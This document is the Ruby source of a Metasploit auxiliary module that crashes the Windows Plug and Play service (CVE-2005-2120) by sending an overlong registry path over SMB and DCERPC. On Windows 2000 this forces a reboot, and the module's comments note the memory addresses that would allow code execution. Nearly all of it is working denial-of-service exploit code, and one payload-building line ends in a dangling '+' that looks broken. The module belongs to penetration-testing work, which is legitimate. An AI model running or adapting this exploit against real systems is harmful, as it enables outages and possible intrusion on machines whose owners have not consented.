Microsoft Plug and Play Service Registry Overflow

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB::Client  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Plug and Play Service Registry Overflow',  
'Description' => %q{  
This module triggers a stack buffer overflow in the Windows Plug  
and Play service. This vulnerability can be exploited on  
Windows 2000 without a valid user account. Since the PnP  
service runs inside the service.exe process, this module  
will result in a forced reboot on Windows 2000. Obtaining  
code execution is possible if user-controlled memory can  
be placed at 0x00000030, 0x0030005C, or 0x005C005C.  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2005-2120' ],  
[ 'MSB', 'MS05-047' ],  
[ 'BID', '15065' ],  
[ 'OSVDB', '18830' ]  
]  
))  
  
register_options(  
[  
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']),  
])  
end  
  
=begin  
  
/* Function 0x0a at 0x767a54a8 */  
long function_0a (  
[in] [unique] [string] wchar_t * arg_00,  
[out] [size_is(*arg_02)] [length_is(*arg_02)] wchar_t * arg_01,  
[in,out] long * arg_02,  
[in] long arg_03  
);  
  
=end  
  
def run  
  
# Determine which pipe to use  
pipe = datastore['SMBPIPE']  
  
print_status("Connecting to the SMB service...")  
connect()  
smb_login()  
  
  
# Results of testing on Windows 2000 SP0  
# 324 / 325 exception handled  
# 326 write to 0  
# 327 jump to 00000030  
# 328 jump to 0030005C  
# 329 jump to 005C005C  
  
# Completely smash the process stack  
i = 1024  
  
handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
path = "HTREE\\ROOT" + ("\\" * i)  
  
# 0 = nil, 1 = enum, 2/3 = services, 4 = enum (currentcontrolset|caps)  
  
stubdata =  
NDR.long(rand(0xffffffff)) +  
NDR.wstring(path) +  
NDR.long(4) +  
NDR.long(1) +  
  
print_status("Calling the vulnerable function...")  
  
begin  
dcerpc.call(0x0a, stubdata)  
rescue Rex::Proto::DCERPC::Exceptions::NoResponse  
print_good('Server did not respond, this is expected')  
rescue ::Errno::ECONNRESET  
print_good('Connection reset by peer (possible success)')  
rescue => e  
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/  
print_good('Server disconnected, this is expected')  
else  
raise e  
end  
end  
  
disconnect  
end  
end  
`